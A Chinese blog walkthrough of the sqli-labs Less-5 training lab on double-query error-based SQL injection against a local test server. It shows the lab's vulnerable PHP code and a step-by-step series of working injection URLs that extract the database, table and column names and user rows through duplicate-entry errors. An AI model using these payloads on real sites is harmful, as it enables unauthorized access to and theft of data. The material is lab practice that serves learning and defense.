SQL注入:sqli-labs:5~6 double injection(Query)
第五题:
http://127.0.0.1/sqli/Less-5/?id=1
显示:You are in…….后面发现,不管是1,2,3,4都死显示Your are in ……,不打紧,继续看看http://127.0.0.1/sqli/Less-5/?id=3'
直接报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘'3'' LIMIT 0,1
’ at line 1,字符型注入,和第一题一样:- 判断回显点:
http://127.0.0.1/sqli/Less-5/?id=3 order by 3 --+
,… select 1,2,3 好奇怪,是 You are in … - 根据题目提示,这个是双查询注入,我参考了博客:https://www.cnblogs.com/-zhong/p/10892439.html但是作者只讲了方法,我觉得还是需要从源代码进行入手,即代码审计。
- 这道题运用的仍然是报错注入的方法,先进行一下代码审计,源代码是这样的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
- 可以看到,主要还是有个
mysql_fetch_array($result)
这个代码,只要这个代码返回了值,就永远都是You are in…。所以此次注入的重点就是:不让mysql_fetch_array($result)起作用
。 - 该博客的博主详细介绍了使用count()函数可以阻止结果的生成并且报错,报错的结果里面可以筛查出我们想要的信息,我的解释如下:
select concat((select database()),'sss');
可以将数据库的名字和某个字符串相结合。select rand();
可以生成0~1的随机浮点数select floor(rand()*2);
和floor()函数结合就可以生成随机整数。select concat((select database()),floor(rand()*2)) from users;
加入限制条件就可以得到我们想要的数据库名称,而且可以把记录的行数生成出来。select count(*),concat((select user()),floor(rand()*2)) as a from information_schema.schemata group by a;
到最后,使用group by 进行分组,并且用count(*)进行计数,如果只有一组,那就无法分组导致报错,报错就会把内容爆出来,当然,这是随机的,要多试几次。- 回到题目:输入
http://127.0.0.1/sqli/Less-5/?id=3' union select count(*),group_concat(database(),floor(rand()*2)) as a from information_schema.schemata group by a
就直接报错了:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘' LIMIT 0,1
’ at line 1。这就是一个字符型注入,前面说了,就不验证了。 - 使用:
http://127.0.0.1/sqli/Less-5/?id=3' union select count(*),concat((select user()),floor(rand()*2)) as a from information_schema.schemata group by a --++++
发现他说The used SELECT statements have a different number of columns。 - 那就加上一行,在conut(*)前面加个1.
http://127.0.0.1/sqli/Less-5/?id=3' union select 1,count(*),concat((select user()),floor(rand()*2)) as a from information_schema.schemata group by a --++++
多刷新几次,因为是随机数,查到users是root,于是我们就可以随意更改变量,来达到我们的目的。- 爆数据库名:
http://127.0.0.1/sqli/Less-5/?id=3' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a --++++
报错是:Duplicate entry ‘security1’ for key ‘’ 可知数据库是security。 - 爆表名:
http://127.0.0.1/sqli/Less-5/?id=3' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.schemata group by a --++++
报错:Duplicate entry ‘emails,referers,uagents,users0’ for key ‘’ - 爆字段:
http://127.0.0.1/sqli/Less-5/?id=3' union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema=database()),floor(rand()*2)) as a from information_schema.schemata group by a --++++
报错Duplicate entry ‘id,email_id,id,referer,ip_address,id,uagent,ip_address,username,’ for key ‘’ - 爆内容:
http://127.0.0.1/sqli/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --++++++
在limit后面变成2,1 3,1这么慢慢试就可以把元素都试出来了。
第六题:
- 第五题和第六题差不多,我就以截图的形式来说吧:
本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15167781.html